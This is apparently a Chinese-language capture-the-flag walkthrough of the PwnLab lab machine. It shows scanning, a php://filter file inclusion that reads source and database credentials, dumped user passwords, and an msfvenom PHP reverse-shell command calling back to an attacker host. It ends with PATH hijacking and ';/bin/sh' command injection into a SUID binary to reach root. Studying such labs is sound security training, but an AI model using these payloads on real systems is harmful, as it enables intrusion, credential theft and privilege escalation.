一、信息收集
1、主机发现
2、端口扫描
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))111/tcp open rpcbind 2-4 (RPC #100000)3306/tcp open mysql MySQL 5.5.47-0+deb8u151649/tcp open status 1 (RPC #100024)3、目录扫描
==> DIRECTORY: http://192.168.66.149/images/
http://192.168.66.149/index.php (CODE:200|SIZE:332)
==> DIRECTORY: http://192.168.66.149/upload//login.php: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
/config.php: PHP Config file may contain database IDs and passwords.
/images/: Directory indexing found.
/icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
/login.php: Admin login page/section found.
/#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
4、打点
说是在内联网上上传和共享图片文件，应该是制作图片马，这里不出意外是爆破登录后台然后上传木马了，试试
目录里面有张图片，因该是上传到这儿然后访问连shell
这里有个page，和伪协议相关，尝试构造 php方法前提
php://filter: 是一种元封装器， 设计用于数据流打开时的筛选过滤应用。
read=<读链的筛选列表>
convert.base64-encode: 如果源文件为.php则很有可能在前台显示不出来。此时我们采用的方法是，先让文件转化为base64格式（convert.base64-encode）然后再输出，这样不论是什么格式的文件都可以在前台输出。
convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用 base64_encode()和 base64_decode()函数处理所有的流数据。
resource=<要过滤的数据流> : 这个参数是必须的。它指定了你要筛选过滤的数据流。
http://192.168.66.149/?page=php://filter/convert.base64-encode/resource=index
这里是index，送去base64解密后的结果
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?phpif (isset($_GET['page'])){include($_GET['page'].".php");}else{echo "Use this server to upload and share image files inside the intranet";}
?>
</center>
</body>
</html>
config文件
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>
upload文件
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html><body><form action='' method='post' enctype='multipart/form-data'><input type='file' name='file' id='file' /><input type='submit' name='submit' value='Upload'/></form></body>
</html>
<?php
if(isset($_POST['submit'])) {if ($_FILES['file']['error'] <= 0) {$filename = $_FILES['file']['name'];$filetype = $_FILES['file']['type'];$uploaddir = 'upload/';$file_ext = strrchr($filename, '.');$imageinfo = getimagesize($_FILES['file']['tmp_name']);$whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) {die('Not allowed extension, please upload images only.');}if(strpos($filetype,'image') === false) {die('Error 001');}if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {die('Error 002');}if(substr_count($filetype, '/')>1){die('Error 003');}$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {echo "<img src=\"".$uploadfile."\"><br />";} else {die('Error 4');}}
}?>
这个文件看完了就是只允许上传(".jpg",".jpeg",".gif",".png")四种类型文件，白名单
这里连接一下mysql，查看一下信息
mysql -h 192.168.66.150 -uroot -p --skip-ssl
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| Users |
+--------------------+
2 rows in set (0.001 sec)MySQL [(none)]> use Users
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -ADatabase changed
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users |
+-----------------+
1 row in set (0.001 sec)MySQL [Users]> select * from users;
+------+------------------+
| user | pass |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.001 sec)拿到了三个账号，尝试登录 kent/JWzXuBJJNy mike/SIfdsTEn6I kane/iSv5Ym2GRo
4、GETshell
生成图片马 msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.66.129 LPORT=7777 -f raw > shell.php
这一步真的是太难了，打到这里已经是下午5点了，疯狂报错、疯狂失败
这里是能切换到kane用户的，然后这里有个文件有点可疑 find / -perm -4000 2>/dev/null
这里执行cat命令
发生报错，找不到该文件，那我们就进入tmp目录下将/bin/bash写入cat文件中并赋权
echo /bin/bash > catcd /home
ls
cd /tmp
echo "/bin/sh" >cat
chmod +x catexport PATH=/tmp:$PATH
cd && ./msgmike
$ id
id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'以下是该代码，我们使用strings查看msg2root，这里有一个/bin/echo %s >> /root/messages.txt
mike@pwnlab:/home/mike$ strings msg2root
strings msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Message for root:
/bin/echo %s >> /root/messages.txt
;*2$"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6279
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
msg2root.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
printf@@GLIBC_2.0
fgets@@GLIBC_2.0
_edata
_fini
__data_start
system@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
stdin@@GLIBC_2.0
_end
_start
_fp_hw
asprintf@@GLIBC_2.0
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
_initmsg2root
$ ./msg2root
./msg2root
Message for root: ;/bin/sh
;/bin/sh
id
id uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)
5、获取flag
